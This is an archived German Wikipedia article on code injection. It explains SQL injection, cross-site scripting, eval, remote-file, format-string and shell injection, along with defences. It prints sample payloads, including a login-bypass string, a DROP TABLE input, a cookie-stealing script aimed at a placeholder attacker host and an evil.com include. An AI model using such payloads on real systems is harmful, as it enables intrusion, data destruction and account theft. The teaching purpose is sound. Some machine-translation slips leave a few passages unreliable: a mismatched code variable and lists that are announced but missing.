Zum Inhalt springen

Code Injection

aus Wikipedia, der freien Enzyklopädie
Dies ist eine alte Version dieser Seite, zuletzt bearbeitet am 27. Mai 2021 um 19:46 Uhr durch INM (Diskussion | Beiträge) (→SQL-Injektion: So ist es für den unbedarften Leser (hoffentlich) besser verständlich.). Sie kann sich erheblich von der aktuellen Version unterscheiden.
Eine gesichtete Version dieser Seite, die am 27. Mai 2021 freigegeben wurde, basiert auf dieser Version.

Code-Injektion ist die Ausnutzung eines Computerfehlers, der durch die Verarbeitung ungültiger Daten verursacht wird. Die Injektion wird von einem Angreifer genutzt, um Code in ein verwundbares Computerprogramm einzuschleusen (oder zu "injizieren") und den Ablauf der Ausführung zu verändern. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, indem sich z. B. Computerviruse oder Computerwurme verbreiten können.

Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter sendet. Injektionsschwachstellen werden am häufigsten in SQL, LDAP, XPath, NoSQL-Abfragen, Betriebssystembefehlen, XML Parsern, SMTP-Kopfzeilen, Programmargumenten usw. Injektionsschwachstellen sind in der Regel bei der Untersuchung des Quellcodes leichter zu entdecken als durch Tests.[1] Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.[2]

Injektion kann zu Datenverlust oder -beschädigung, fehlender Verantwortlichkeit oder Zugriffsverweigerung führen. Injektion kann manchmal zu einer kompletten Hostübernahme führen.

Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen. Ähnliche Interpretationsfehler gibt es auch außerhalb der Informatik, z. B. in der Comedy-Routine Wer ist zuerst dran?. In dieser Routine werden Eigennamen nicht von normalen Wörtern unterschieden. In ähnlicher Weise wird bei einigen Arten von Code-Injection nicht zwischen Benutzereingaben und Systembefehlen unterschieden.

Code-Injection-Techniken sind bei System-Hacking oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:

  • Arbiträres Verändern von Werten in einer Datenbank durch SQL-Injection. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.
  • Installieren von Malware oder Ausführen von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie PHP oder ASP).
  • Privilegieneskalation zu root-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem setuid root-Binary unter UNIX oder Local System durch Ausnutzung eines Dienstes unter Microsoft Windows.
  • Angriffe auf Web-Benutzer mit HTML/Skript-Injektion (Cross-Site-Scripting).

Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.[3]

Gute und ungewollte Verwendung

Code-Injektion kann mit guten Absichten verwendet werden; zum Beispiel kann das Ändern oder Optimieren des Verhaltens eines Programms oder Systems durch Code-Injektion dazu führen, dass sich das System auf eine bestimmte Art und Weise verhält, ohne dass eine böswillige Absicht vorliegt.[4][5] Code-Injektion könnte zum Beispiel:

  • Eine nützliche neue Spalte einführen, die im ursprünglichen Design einer Suchergebnisseite nicht enthalten war.
  • Eine neue Möglichkeit bieten, Daten zu filtern, zu ordnen oder zu gruppieren, indem ein Feld verwendet wird, das nicht in den Standardfunktionen des ursprünglichen Designs enthalten ist.
  • In Bezug auf Programme wie Dropbox spezielle Teile hinzufügen, die verwendet werden können, um eine Verbindung zu Online-Ressourcen in einem Offline-Programm herzustellen.
  • Nutzen Sie den Linux Dynamic Linker, um eine Funktion mit demselben Namen wie bestimmte libc-Funktionen zu definieren, diese Funktion als Bibliothek zu linken und die Verwendung der libc-Funktion außer Kraft zu setzen.[6]

Einige Benutzer können ahnungslos Code-Injektionen durchführen, weil Eingaben, die sie in ein Programm eingeben, von denjenigen, die das System ursprünglich entwickelt haben, nicht berücksichtigt wurden. Zum Beispiel:

  • Was der Benutzer für eine gültige Eingabe hält, kann Token-Zeichen oder Zeichenketten enthalten, die vom Entwickler mit einer besonderen Bedeutung versehen wurden (vielleicht das "&" in "Shannon & Jason" oder Anführungszeichen wie in "Bub 'Slugger' McCracken").
  • Der Benutzer kann eine missgebildete Datei als Eingabe senden, die in einer Anwendung korrekt verarbeitet wird, aber für das empfangende System schädlich ist.

Eine andere gutartige Verwendung von Code-Injektion könnte die Entdeckung von Injektionsfehlern selbst sein, mit der Absicht, diese Fehler zu beheben. Dies ist als White Hat bekannt. Penetrationstest.

Verhindern von Problemen

Um Code-Injection-Probleme zu verhindern, verwenden Sie eine sichere Handhabung von Ein- und Ausgaben, wie z. B.:

  • Verwendung von APIs, die bei richtiger Verwendung gegen alle Eingabezeichen sicher sind. Parametrisierte Abfragen (auch bekannt als "kompilierte Abfragen", "vorbereitete Anweisungen", "gebundene Variablen") ermöglichen das Auslagern von Benutzerdaten aus der zu interpretierenden Zeichenkette. Zusätzlich kann die Criteria API[7] und ähnliche APIs vom Konzept der zu erstellenden und zu interpretierenden Befehlsstrings ab.
  • Erzwingen der Sprachentrennung über ein statisches Typensystem.[8]
  • Eingabevalidierung, z. B. Whitelisting nur bekanntermaßen guter Werte, dies kann clientseitig z. B. mit JavaScript erfolgen oder serverseitig, was sicherer ist.
  • Eingabekodierung, z. B. das Escapen gefährlicher Zeichen. In PHP z. B. mit der Funktion htmlspecialchars(), um Sonderzeichen für die sichere Ausgabe von Text in HTML zu escapen, und mysqli::real_escape_string(), um Daten zu isolieren, die in eine SQL-Anfrage aufgenommen werden, zum Schutz vor SQL Injection.
  • Ausgabekodierung, d. h. Verhinderung von HTML Injection (XSS)-Attacken gegen Website-Besucher
  • HttpOnly ist ein Flag für HTTP-Cookies, das, wenn es gesetzt ist, keine clientseitige Skriptinteraktion mit Cookies zulässt und damit bestimmte XSS-Angriffe verhindert.[9]
  • Modulare Shell-Abkopplung vom Kernel
  • Bei SQL-Injection kann man parametrisierte Abfragen, Stored Procedures, Whitelist-Eingabevalidierung und mehr verwenden, um Code-Injection-Probleme zu entschärfen.[10]

Die oben aufgeführten Lösungen befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Ansätze, die verwendet werden, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren, sind:

  • Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
  • NX-Bit – NX-Bit – alle Benutzerdaten werden in einem speziellen Speicherbereich gespeichert, der als nicht ausführbar markiert ist. Der Prozessor wird darauf aufmerksam gemacht, dass in diesem Teil des Speichers kein Code vorhanden ist, und weigert sich, etwas auszuführen, das dort gefunden wird.
  • Kanarien – legen zufällig Werte in einem Stack ab. Zur Laufzeit wird ein Canary überprüft, wenn eine Funktion zurückkehrt. Wenn ein Canary verändert wurde, stoppt das Programm die Ausführung und wird beendet. Dies geschieht bei einem Stack Overflow Attack.
  • In CCode Pointer Masking (CPM) – nach dem Laden eines (potenziell veränderten) Codezeigers in ein Register wird eine Bitmaske auf den Zeiger angewendet. Dies schränkt effektiv die Adressen ein, auf die der Zeiger verweisen kann.[11]

Beispiele

SQL-Injektion

Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.

Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen: 

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Diese Abfrage wird genau dann fündig, wenn es in der Tabelle BenutzerListe einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.

Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code XYZ' OR '1'='1', dann entsteht folgende Abfrage: 

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ' OR '1'='1'

Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort "XYZ" (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.

Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: ';DROP TABLE BenutzerListe; --. In diesem Fall entsteht folgende Datenbankabfrage: 

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';DROP TABLE BenutzerListe; --AND BenutzerListe.Passwort = ''

Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als nächstes folgt eine DROP-Anweisung, die die komplette Tabelle BenutzerListe sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.

Cross-Site-Scripting

Code-Injektion ist die böswillige Injektion oder Einführung von Code in eine Anwendung. Einige Webservers haben ein Gästebuch-Skript, das kleine Nachrichten von Benutzern annimmt und typischerweise Nachrichten wie: 

Sehr schöne Seite!

Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende eingeben: 

Schöne Seite, ich denke, ich werde sie nehmen. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Wenn ein anderer Benutzer die Seite aufruft, wird der injizierte Code ausgeführt. Dieser Code kann es dem Angreifer ermöglichen, sich als ein anderer Benutzer auszugeben. Allerdings kann derselbe Software-Bug auch versehentlich von einem unbedarften Benutzer ausgelöst werden, was dazu führt, dass die Website fehlerhaften HTML-Code anzeigt.

HTML- und Skriptinjektion ist ein beliebtes Thema, das gemeinhin als "Cross-Site-Scripting" oder "XSS" bezeichnet wird. XSS bezieht sich auf einen Injektionsfehler, bei dem Benutzereingaben in ein Webskript oder etwas Ähnliches in das ausgegebene HTML platziert werden, ohne dass der HTML-Code oder das Skript überprüft werden.

Viele dieser Probleme hängen mit falschen Annahmen darüber zusammen, welche Eingabedaten möglich sind, oder mit den Auswirkungen von speziellen Daten.[12]

Dynamische Auswertungsschwachstellen

Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird aufruft.[13] 

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Das Argument von "eval" wird als PHP verarbeitet, so dass weitere Befehle angehängt werden können. Wird "arg" beispielsweise auf "10; system('/bin/echo uh-oh')" gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall "/bin/echo".

Objektinjektion

PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.[14] Ein solcher Angriff auf Joomla wurde 2013 gefunden.[15]

Entfernte Dateiinjektion

Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt): 

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blau.php und rot.php geladen werden, während Angreifer COLOR=http://evil.com/exploit angeben könnten, was PHP veranlasst, die externe Datei zu laden.

Format-Spezifizierer-Injektion

Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise printf(buffer) statt printf("%s", buffer). Die erste Version interpretiert puffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.

Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array Passwort hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s gefüllt wird, dann beginnt printf(), aus dem stack zu lesen. Schließlich wird einer der %s-Formatierer auf die Adresse von Passwort zugreifen, die sich auf dem Stack befindet, und Passwort1 auf den Bildschirm ausgeben.

Shell-Injektion

Shell-Injektion (oder Befehlsinjektion[16]) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares tcsh-Skript: 

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Wenn das obige in der ausführbaren Datei ./check gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil" versuchen, den injizierten Shell-Befehl evil auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.[17]

Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören system(), StartProcess() und System.Diagnostics.Process.Start().

Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens funnytext auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt. 

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Das passthru im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):[18]

Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:

Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.

Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.

Siehe auch

Quellen

  1. ↑ Top 10 Web Application Security Vulnerabilities. In: Penn Computing. University of Pennsylvania, archiviert vom Original am 24. Februar 2018; abgerufen am 10. Dezember 2016.
  2. ↑ OWASP Top 10 2013 A1: Injection Flaws. OWASP, abgerufen am 19. Dezember 2013.
  3. ↑ NVD - Statistics Search. In: web.nvd.nist.gov. Abgerufen am 9. Dezember 2016.
  4. ↑ Raghunathan Srinivasan: Towards More Effective Virus Detectors. In: Arizona State University. Archiviert vom Original am 29. Juli 2010; abgerufen am 18. September 2010: „Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.“
  5. ↑ Jose Andre Morales, Erhan Kartaltepe, Shouhuai Xu, Ravi Sandhu: Lecture Notes in Computer Science. Springer, Berlin, Heidelberg 2010, ISBN 978-3-642-14705-0, Symptoms-Based Detection of Bot Processes, DOI:10. 1007/978-3-642-14706-7_18(?!).
  6. ↑ Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen. In: Rafał Cieślak's blog. 2. April 2013, abgerufen am 10. Dezember 2016.
  7. ↑ The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries. Oracle, abgerufen am 19. Dezember 2013.
  8. ↑ Tom Moertel: Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher? In: Tom Moertel's Blog. 18. Oktober 2006, abgerufen am 21. Oktober 2018.
  9. ↑ HttpOnly. In: OWASP. 12. November 2014, abgerufen am 10. Dezember 2016.
  10. ↑ SQL Injection Prevention Cheat Sheet. In: OWASP. Abgerufen am 10. Dezember 2016.
  11. ↑ Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Masking Code Pointers to Prevent Code Injection Attacks. In: ACM Transactions on Information and System Security. 16. Jahrgang, Nr. 1, 1. Juni 2013, ISSN 1094-9224, S. 1–27, doi:10.1145/2487222.2487223 (fort-knox.org [PDF]).
  12. ↑ Brian Hope, Paco Hope, Ben Walther: Web Security Testing Cookbook. O'Reilly Media, Sebastopol, CA 2009, ISBN 978-0-596-51483-9, 254 (https://archive. org/details/websecuritytesti00hope).
  13. ↑ Vorlage:Cite mailing list
  14. ↑ Unserialize function warnings. PHP.net;
  15. ↑ Analyse der Joomla PHP Object Injection Vulnerability. Abgerufen am 6. Juni 2014.
  16. ↑ Command Injection. OWASP;
  17. ↑ Douglas W. Jones, CS:3620 Notes, Lecture 4 - Shell Scripts, Spring 2018.
  18. ↑ Archived copy. Archiviert vom Original am 27. Februar 2015; abgerufen am 27. Februar 2015.
Abgerufen von „https://de.wikipedia.org/w/index.php?title=Code_Injection&oldid=212433046“